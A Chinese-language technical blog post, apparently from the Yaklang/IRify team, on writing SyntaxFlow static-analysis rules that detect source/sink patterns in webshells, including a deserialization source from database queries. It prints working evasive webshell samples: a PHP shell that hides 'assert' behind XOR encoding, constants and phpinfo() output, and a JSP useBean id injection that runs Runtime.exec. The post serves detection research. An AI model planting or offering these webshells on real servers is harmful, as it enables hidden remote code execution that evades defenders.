用 IRify 深入探索 WebShell 中的 Source/Sink 挖掘

?()表达式:

在之前的规则中,常常会像下面这样写。

复制代码
__GET as $sourceaa(* #{include: <<<CODE* & $sourceCODE}-> as $sink)

比较诟病的是,这样找到的sink 点并非真正的sink 点,而是topdef之后的结果。?()的出现类似于?{},都是对中间结果进行过滤,然后影响结果的值。

样例:

复制代码
<?phpa(1,2);a($a,2);//参数中含有consta?(*?{opcode: const}) as $sink//参数1为consta?(*?{opcode: const},) as $sink//参数1,2均为consta?(*?{opcode: const},*?{opcode: const}) as $sink

Webshell 大家并不陌生,无论是红蓝中对 webshell 的检测还是免杀,也是老生常谈的问题。在2023年,我也参加过伏魔挑战赛,我也会用一部分我对 webshell 的理解和 ssa 结合,重新对 WebShell 审视 sourcesink ,并且针对 WebShell 实现一些规则。

PHP 漏洞挖掘的过程中,我们常常认为 Source 点为 $_GET$_POST$_REQUESTheaders 等一系列全局可控函数,sink 点尝尝为 evalsystem 等一系列常见的代码执行 /命令执行 的代码中,但是在 PHP 是动态运行。支持 php 中的常见间接函数调用。

那么从 WebShell 的编写来说,我们常常需要绕过一些常规的 Sink 点,像REQUESTPOSTGET 等一些常规的 source 点都会被 ban 掉,那么是否存在一些冷门的 source 点呢?

冷门 source 点:
  • phpinfo()

phpinfo中,会打印出这次请求的全部信息,可以当作一个非常规source点去用。

冷门 sink 点:

因为 php 中支持间接的函数调用,而 (MY_CONST) 作为一个括号表达式,会先进行计算返回常量字符串,然后会在 zendVM 的函数表中进行查找。

复制代码
<?phpdefine('MY_CONST', 'phpinfo');// 直接调用常量名作为函数,报错MY_CONST(); // ❌ 错误:Call to undefined function MY_CONST()(MY_CONST)(); // ✅ 正确调用 phpinfo() 函数
数据流污染:

光靠冷门的 source sink 其实也难以绕过,还需要实现数据流的污染,在静态分析翻译的过程中,难点在于全局变量、全局常量、静态变量、静态常量。特点是:数据的精确度受到函数调用关系的影响,而静态分析的过程中,我们又常常无法去精确的知道两个函数之间的调用顺序,和入口点也有极大关系。

这里我选择使用了 define 来做数据流的混淆:

​​​​​​​

复制代码
<?phpnamespace DemoInfo {    define("DEMO", (new Demo())->invokeMethod());    function xorencrypt($str, $key)    {        $slen = strlen($str);        $klen = strlen($key);        $cipher = '';        for ($i = 0; $i < $slen; $i = $i + $klen) {            $cipher .= substr($str, $i, $klen) ^ $key;        }        return $cipher;    }    class Demo    {        private $content;        public function __construct()        {            ob_start();            phpinfo();            $this->content = ob_get_contents();            ob_end_clean();        }        public function invokeMethod()        {            preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);            return $matches[1];        }    }}

webshell 样例:​​​​​​​

复制代码
<?phpnamespace DemoInfo {    define("DEMO", (new Demo())->invokeMethod());    function xorencrypt($str, $key)    {        $slen = strlen($str);        $klen = strlen($key);        $cipher = '';        for ($i = 0; $i < $slen; $i = $i + $klen) {            $cipher .= substr($str, $i, $klen) ^ $key;        }        return $cipher;    }    class Demo    {        private $content;        public function __construct()        {            ob_start();            phpinfo();            $this->content = ob_get_contents();            ob_end_clean();        }        public function invokeMethod()        {            preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);            return $matches[1];        }    }}namespace {    use DemoInfo\Demo;    use function DemoInfo\xorencrypt;    define("DEMO2", (xorencrypt("PBBTCE", "1")));    define("DEMO", (new Demo())->invokeMethod());    (DEMO2)(\DEMO);}

在 jsp 中,和 php 会有所不同,jsp 会 <%!%> 会被翻译成class,而 <%%> 中的内容会被翻译到 _jspService 方法中。在我前一段时间的研究中发现,jsp 在翻译成 .java 的时候,会在底层有一些鸡肋的处理。比如:

他在翻译的时候,会将标签解析成 AST 抽象语法树,然后再通过StringBuilder "拼接" 成一个 .java 文件,然后再进行编译。那这样的话,其实有非常多的 bypass 技巧和方法。我在翻了几个 AST 翻译过程时发现,有些会被拦掉,但有些并不会。这块会直接拿到 id 中的内容,然后直接写入到 .java 中,可以实现代码注入。

Webshell demo:​​​​​​​

复制代码
<jsp:useBean id="a=null;java.lang.Runtime.getRuntime().exec(\"open -a calculator\");/*" class="org.aa.test"/>  <%*/out.print(1);%>

因为 WebShell 中的 source sink 都做了很多污染,也利用了一些冷门的特性。只能找一些通用的共同点,提供一些通用的思路检测。

call method 检测:检查 call method 是否为常量。

php 中,会有一些常见的检测思路,检查是否用了非"常规"的 call method。比如:是否用了常量。

复制代码
*?{opcode: call} as $call$call?{<getCallee>?{opcode: const}} as $sink//DEMO: <?phpdefine("aa","assert");(aa)($_GET);
检查 call method 类型是否是 call:
复制代码
<?phpdefine("aa","YXNzZXJ0");base64_decode(aa)();/**?{opcode: call} as $call$call<getCallee>?{opcode: call} as $sink*/
检查 call method 类型是否是 call:

Call param 检测:

检查 callParam 中,是否经过某些特定函数。比如在上述中的 php webshell 中,我们可以检测是否经过 ob_get_contents 然后再去遍历该块中的所有指令。一条可能检查的规则如下:​​​​​​​

复制代码
*?{opcode: call} as $call/(?i)phpinfo/() as $sinkob_get_contents?{<self><scanInstruction(include:<<<CODE* & $sinkCODE)>} as $evil$call?{<getCallee>?(* #{include: <<<CODE* & $evilCODE}->)} as $sink

在上面讲到了 java php webshell 中常见的 source 点,在平时的漏洞挖掘中,是否也同样存在呢?

我在前一段时间中,碰到过这么一段代码:

​​​​​​​

复制代码
    if (request()->isPost()) {        $post = request()->post();        $post['id'] = get_admin_id();        if ($this->model->update($post)) {            return $this->success();        }        return $this->error();    }    $data = $this->model->find(get_admin_id());    if (!empty($data['group_id'])) {        $group = AdminGroupModel::field('title')            ->whereIn('id', $data['group_id'])            ->select()            ->toArray();        foreach ($group as $key => $value) {            $title[$key] = $value['title'];        }    }    $data['jobs'] = Jobs::where('id', $data['jobs_id'])->value('title');    $data['group'] = implode('-', $title);    $data['tags'] = empty($data['tags']) ? $data['tags'] : unserialize($data['tags']);

是可以执行反序列化,数据是从数据库查询回来,而数据该字段又可以自主控制,那么这个时候,我们还认为这个是一个常规 source 点嘛?

这一类问题可以抽象成 A 经过中间环境后变成 B,是否还可以当成一个 source 点?

这个会取决于,A 是否可控,如果 A 可控,那么 B 有可能会成为一个 source 点,A 如果不可控,B 大概不会成为一个 source 点。

所以这段代码中,最后会写成( syntaxflow 表达冷门 source 点):

​​​​​​​

复制代码
./where|find|select/ as $sourceunserialize?(* #{include: <<<CODE* & $sourceCODE}->) as $sink

在后面也许会支持一些 webshell 的通用检查规则,去编写每种语言的一些通用规则。另外,在漏洞挖掘中,目前的内置规则中是覆盖了大部分情况,但由于代码的多样性,可能需要用户对某些特定的代码环境进行特定的编写,而对于冷门的 source 点,通常需要找到"中间环境",比如:envcache 等。

END

YAK官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/

Yakit 视频教程:
https://space.bilibili.com/437503777

Github下载地址:
https://github.com/yaklang/yakit

Yakit官网下载地址:
https://yaklang.com/

Yakit安装文档:
https://yaklang.com/products/download_and_install

Yakit使用文档:
https://yaklang.com/products/intro/

常见问题速查:
https://yaklang.com/products/FAQ

​​​​​​​​​​​​​​

相关推荐
忘川w16 小时前
《网络安全与防护》知识点复习
笔记·安全·web安全·网络安全
qq_2430507920 小时前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(三)
linux·网络安全·黑客·渗透测试·模糊测试·kali linux·黑客工具
炎码工坊1 天前
DevSecOps实践:CI/CD流水线集成动态安全测试(DAST)工具
安全·网络安全·微服务·云原生·安全架构
Starshime1 天前
PHP、Apache环境中部署sqli-labs
网络安全
盛满暮色 风止何安1 天前
BGP基础
运维·服务器·网络·网络协议·tcp/ip·网络安全·智能路由器
qq_243050791 天前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(一)
linux·web安全·网络安全·黑客·渗透测试·模糊测试·kali linux
hao_wujing2 天前
轻量级顺序监控器监控 LLM 中的分解攻击
网络安全
枷锁—sha2 天前
【DVWA系列】——xss(DOM)——High详细教程
前端·web安全·网络安全·xss
中云DDoS CC防护蔡蔡2 天前
自己的服务器被 DDOS跟CC攻击了怎么处理,如何抵御攻击?
运维·服务器·经验分享·网络安全·ddos